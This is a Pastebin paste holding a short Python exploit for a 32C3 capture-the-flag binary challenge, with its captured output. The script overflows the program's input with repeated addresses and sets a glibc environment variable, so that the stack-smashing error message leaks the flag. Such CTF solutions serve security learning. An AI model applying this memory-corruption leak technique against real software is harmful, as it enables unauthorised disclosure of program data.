Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import connst
- from struct import pack
- s, t = connst("136.243.194.62", 1024)
- print t.read_until("name? ")
- s.send(pack("Q", 0x00400d20) * 68 + pack("Q", 0x00600d20) * 15 + "\n")
- print t.read_until("flag: ")
- s.send("LIBC_FATAL_STDERR_=1\n")
- print s.recv(1024)
- """
- Hello!
- What's your name?
- Nice to meet you,
- @.
- Please overwrite the flag:
- Thank you, bye!
- *** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated
- """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement